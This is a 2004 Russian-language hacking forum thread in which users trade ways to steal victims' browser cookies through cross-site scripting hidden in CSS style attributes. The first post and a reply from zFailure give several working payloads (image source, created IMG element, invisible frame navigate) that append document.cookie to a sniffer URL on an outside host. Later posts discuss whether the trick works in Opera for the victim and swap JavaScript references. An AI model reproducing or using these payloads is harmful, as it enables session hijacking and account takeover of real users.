Чаты Javascript

Discussion in 'Веб-уязвимости' started by andlog6, 23 Jun 2004.

  1. andlog6

    andlog6 New Member

    Joined:
    21 Jun 2004
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    u menya duratskii vopros...kak mojno zastavit browser usera visilat cookies snifferu cherez takuiu construktsiu: style=background:url(javascript:))    a ne cherez takuiu < script> </script>    ia proboval: style=background:url(javascript:navigate('http://antichat.ru/cgi-bin/s.jpg?'+document.cookie))     no eto slishkom zametno

    mojet kakrtinku cherez javascript:

    thx
     
  2. zFailure

    zFailure Elder - Старейшина

    Joined:
    6 Jun 2004
    Messages:
    163
    Likes Received:
    24
    Reputations:
    24
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">style=`background:url(javascript:x=new Image()\;x.src='http://antichat.ru/cgi-bin/s.jpg'+document.cookie)`[/QUOTE]<span id='postcolor'>

    или

    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">style=`background:url(javascript:x=document.createElement('IMG')\;x.src='http://antichat.ru/cgi-bin/s.jpg'+document.cookie)`[/QUOTE]<span id='postcolor'>

    или

    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">style=`background:url(javascript:top.frames[X].navigate('http://antichat.ru/cgi-bin/s.jpg'+document.cookie)`[/QUOTE]<span id='postcolor'>
    если фрейм X существует и он невидимый

    короче много чего мажно придумать! =)
    тут дело вкуса
     
  3. Z4masko

    Z4masko New Member

    Joined:
    19 Jun 2004
    Messages:
    36
    Likes Received:
    0
    Reputations:
    0
    а Operа такая фишка работает ?
     
  4. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Z4masko @ июня 23 2004,23:56)</td></tr><tr><td id="QUOTE">а Operа такая фишка работает ?[/QUOTE]<span id='postcolor'>
    Нужно проверять.

    (А ты что, уверен что у жертвы Опера?)
     
  5. Guest

    Guest Guest

    Reputations:
    0
    a v IFRAME kak zagruzit sait, cherez javascript? takje?
     
  6. zFailure

    zFailure Elder - Старейшина

    Joined:
    6 Jun 2004
    Messages:
    163
    Likes Received:
    24
    Reputations:
    24
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Guest @ июня 25 2004,01:44)</td></tr><tr><td id="QUOTE">a v IFRAME kak zagruzit sait, cherez javascript? takje?[/QUOTE]<span id='postcolor'>
    порень скачай гайд по JavaScript и тебе сразу станет многое понятно! =)
     
  7. andlog6

    andlog6 New Member

    Joined:
    21 Jun 2004
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    хмм, а где?

    нуу, я так хочу узнать каким вы пользуетесь? [​IMG]
    или где больше всего инфы

    ниче что я много вопросов задаю?
     
  8. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (andlog6 @ июня 25 2004,08:54)</td></tr><tr><td id="QUOTE">где больше всего инфы[/QUOTE]<span id='postcolor'>
    Больше всего инфы в MSDN &nbsp;[​IMG]
     
  9. andlog6

    andlog6 New Member

    Joined:
    21 Jun 2004
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Algol @ июня 25 2004,11:26)</td></tr><tr><td id="QUOTE">Больше всего инфы в MSDN  [​IMG][/QUOTE]<span id='postcolor'>
    это её ты называл &quot;анналами&quot; в своей статье? [​IMG] её ж покупать надо
     
  10. zFailure

    zFailure Elder - Старейшина

    Joined:
    6 Jun 2004
    Messages:
    163
    Likes Received:
    24
    Reputations:
    24
    MSDN купить все же надо! я купил и не желею! =)
    хотя чего там желеть пиратка всего 240 руб. (3cd за 2004 год) стоит

    http://devedge.netscape.com здесь ты найдешь самый полный мануал по JavaScript
    http://pyramidin.narod.ru здесь много переводов на русский

    http://zfailure.zakladki.ru/lists/showfolder.asp?fid=498735
    (здесь я время от времени пополняю свои закладки)
     
  11. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (andlog6 @ июня 25 2004,12:22)</td></tr><tr><td id="QUOTE">это её ты называл &quot;анналами&quot; в своей статье? [​IMG] её ж покупать надо[/QUOTE]<span id='postcolor'>
    Нет, анналами я называл не ее [​IMG]
    Но зато в MSDN есть полная документация по HTML, DHTML и CSS , без которой не обойтись, при серьезном подходе к делу &nbsp;[​IMG]
     
  12. andlog6

    andlog6 New Member

    Joined:
    21 Jun 2004
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    позвольте спросить, а что ты называл анналами?
     
  13. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Не занудствуй ))
    Весь интернет это сплошные анналы ))
     
  14. Z4masko

    Z4masko New Member

    Joined:
    19 Jun 2004
    Messages:
    36
    Likes Received:
    0
    Reputations:
    0
    а лучше приобрети себе простенький апплет эдитор ну или ява эдитор и забабахай в нём что угодно.